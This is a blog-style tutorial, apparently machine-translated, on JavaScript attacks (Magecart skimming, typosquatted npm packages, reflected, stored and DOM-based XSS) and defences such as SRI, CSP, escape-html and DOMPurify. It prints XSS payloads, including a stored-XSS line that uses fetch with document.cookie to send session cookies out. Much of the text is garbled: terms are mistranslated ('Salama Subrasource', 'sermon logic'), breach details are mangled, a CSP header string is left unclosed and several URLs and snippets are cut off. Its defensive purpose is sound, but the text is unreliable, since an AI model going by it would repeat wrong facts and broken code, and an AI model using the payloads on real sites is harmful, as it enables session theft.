Nowadays, JS (Javascript) is the main and important part of modern web applications that provide the interactive user interface with a complete sermon logic. Now the attackers come to the image and whatever there was weakness in JS, the attackers will use its benefits and disturb the flow of the beautiful JS Empire. To date in this article, I will tell you about some electronic attacks and how the developer will put guarantees in his applications so far, let’s start.
Magecart attacks
What is this Magecart attack?
The attackers are very smart-they pump the harmful JS code into e-commerce sites and steal the details related to payment, credit card numbers and CVV from the exit pages. They bother the third party packages using the harmful JS code and get the user’s sensitive data. The real examples of this attack are.
“British Airways breach in 2018 resulted in the theft of 380,000 payment records due to the Magecart attack.“
“Newgg Breach (2018) – 50 meters+ a visiting visitor“ And so …
Oh, is it important to prevent it?
How to discover a Magecart Attack?
Secret (Salama Subrasource)
SRI is a safety feature that helps protect your website from malicious or at risk external resources (such as JavaScript or CSS files of an external entity). It ensures that the content you download is not tampered with by verifying the safety of the file using a cryptographic hash.
How do we do a secret in our symbol?
This is one symbol that we need to add to our blade base
<script src="<cdnURL>/library.js"
integrity="sha384-Base64HashHere"
crossorigin="anonymous">
</script>
src – Our URL address from the external text program.
integrity – Fixation of the file content.
crossorigin="anonymous" – It is allowed to download from different origin without sending user credit data.
We added this, but now what happened?
Whenever you see this line in our code, this feature contains some retail value (for example-SHA-256, SHA-384 or SHA-512, i.e. one of the file content now whenever our browser downloads the supplier that it will count is a retail account and compare it to the value provided). If you want to learn more about SRi, the following SRI links.
https://developer.mozilla.org/en-us/docs/web/security/subresource_integrity
SRi Hash Generalator – https://www.srihash.org/
CSP (content safety policy)
CSP is also a single safety feature that helps prevent text programming for crossed sites (XSS), code injection, and other malicious content attacks by restricting resources (such as JavaScript, CSS, photos, etc.) can be downloaded on a web page.
How do you do a symbol level?
Let me give an example of Nodejs
app.get('/', (req, res) => {
res.setHeader(
"Content-Security-Policy", // This is our main CSP Header Setting
"default-src 'self'; script-src 'self'
);
res.send('Hello, CSP is active!');
});
default-src 'self'– All resources such as text programs, patterns, images, etc. are allowed. To download it from the same original. It will prevent any other external areas.script-src 'self'
How can we check this like CSP or not?
→ Open developer tool
→ Network tab
→ Update the page and check the heads of response
You will find this “Political security content“Like the screen shot below.
NPM packages
Harmful NPM packages mean that it is only harmful software packages that are loaded in the NPM (Manager Manager) portal, which is the largest warehouse in the world for our Javascript libraries. Now what are the packages you will do? It demonstrates as a legitimate tool, but it contains a very harmful symbol that affects our system.
Now, as a developer, what will we do? We will install it and once installed, the attackers enter the picture and will steal our sensitive data such as API keys, passwords, banking information, etc.
This is good, but one question: How strikers publish these malicious beams?
A good question for this that they use some techniques to publish, and here are the most famous technical.
Summary
In this technique, what will the attackers do? They will target the famous NPM packages, create the same package with spelling or alternative errors, and confirm our innocent developers by accidentally this package and then Boom. The pockets of the attackers are filled with our precious data.
Let me give some examples.
|
The main package |
Beam |
|---|---|
|
http-Server |
httpserver |
|
Ludash |
Ludish |
Oh, this is very dangerous, but as a developer, what do we need to take care of?
Yes, some points that we need to preserve in our minds.
- Before installing any package, we need to check if he has the right spelling and if official or what. With the example of the example below
npm view express
It will give full details of this package
2. As a developer, we always need to use it below to check any weakness and link its type.
npm audit
He will scan the safety of our project.
Textual programming (XSS)
This is the most famous and most common weakness in the web. The attackers here will inject the harmful JS code into the website, then the text program will run in the browser and the attackers will steal our data.
How does that work?
-
The main thing is that the attacker will pump the code on our website, but how?
Attackers will use different ways to do it like Comment Box, URL Parameters, form fields, and so on. -
This text program will perform some harmful measures, such as stealing cookies, displaying fake models, web site, key records, etc.
Wonderful, but how many attacks?
There are 3 types of XSS attacks
The opposite of xss
Let’s take a good example in Nodejs
When the user uses the search, the user will use the URL address below
URL –
Now the user will see this output
“Search Results for: helloWorld”
This is the basic flow and we have no kind of validation Search Text But now if the attacker knows this, what will they do, they will strike the text program through knowledge like this,
The attackers will strike this URL = Have Been Hacked!')</script>
Now, the page will present it because of this harmful text program and the director will be this
<h1>Search Results for: <script>alert('You Have Been Hacked!')</script></h1>
Oh, then how to protect it?
We will take the example of Nodejs to solve this
There is one package calledescape-htmlWe will use and here our updated symbol
But what is the difference here in directing?
A good question, allow me to present it
Now, the striker will use this URL according to the above flow
Have Been Hacked!')</script>
Because of our npmYou will remove the special letters and the output below will not only offer the page to the page but will not do anything.
Search Results for: <script>alert(You Have Been Hacked!')</script>
XSS stored
In this attack, attackers add the harmful JS code in the comments section or in the model field and this symbol will store user data on the attacker’s server.
Let’s take an example in Nodejs
In our code, there is no health verification, and we directly store our data in Dispell without checking health, so it will appear like this,
Now, if the ordinary user adds comments – “Good blog Post!” Then it will be stored to DB and will appear like this on the page
<p>Good blog Post!</p>
But if the attacker will add the comment – “<script>fetch(' + document.cookie);</script>” Then on the page you will appear this
And every time when the user looks at the comment pages on their cookies (sessions, auth tokens) It will be stored in the striker’s servant,
Yes, this is very dangerous but how it protects it?
There is a good way to deal with it before storing the comments in DB. We need to sterilize it and then we can do this.
How to sterilize?
In the same example, we will add it, so what we did is, we added one NPM name “dompurify” So it will disinfect the body content and then add the content in the DB safely.
XSS based on dom
This happens when the maliciously malicious text program (DOM) is disturbed on the client’s side without interacting with the server.
Let’s take an example of the term search page, this is the JS icon
// Get the search term from the URL
const searchQuery = location.hash.substring(1);
// Display the search term on the page
document.getElementById('result').innerHTML = `You searched for: ${searchQuery}`;
This means whether the user is looking for this “ Then it will come back
“You searched for: Hello”
Now how the attackers will strike it
They will use this “ Then the output will be
“You searched for: <script>alert('Hacked!')</script>” The text program will implement it.
How to protect it?
In the same example, we need to use “textContent” instead of “innerHTML”
const searchQuery = location.hash.substring(1);
document.getElementById('result').textContent = `You searched for: ${searchQuery}`;
Now, the attacker will use this symbol,
Then it will not be implemented and this will return,
You searched for: <script>alert('XSS')</script>
conclusion
Modern web applications are facing increased cybersecurity attacks that depend on Java Script because the attackers succeeded in determining their weaknesses. Protection against these threats requires proactive security measures that include the formation of sub -safety safety (SRI), the formation of content safety policies (CSP), installation of the appropriate NPM package and XSS management. Developers who follow best practices can protect their applications from malicious attacks while maintaining user data safety. Always stay aware and maintain alertness because security should be your top priority during development.
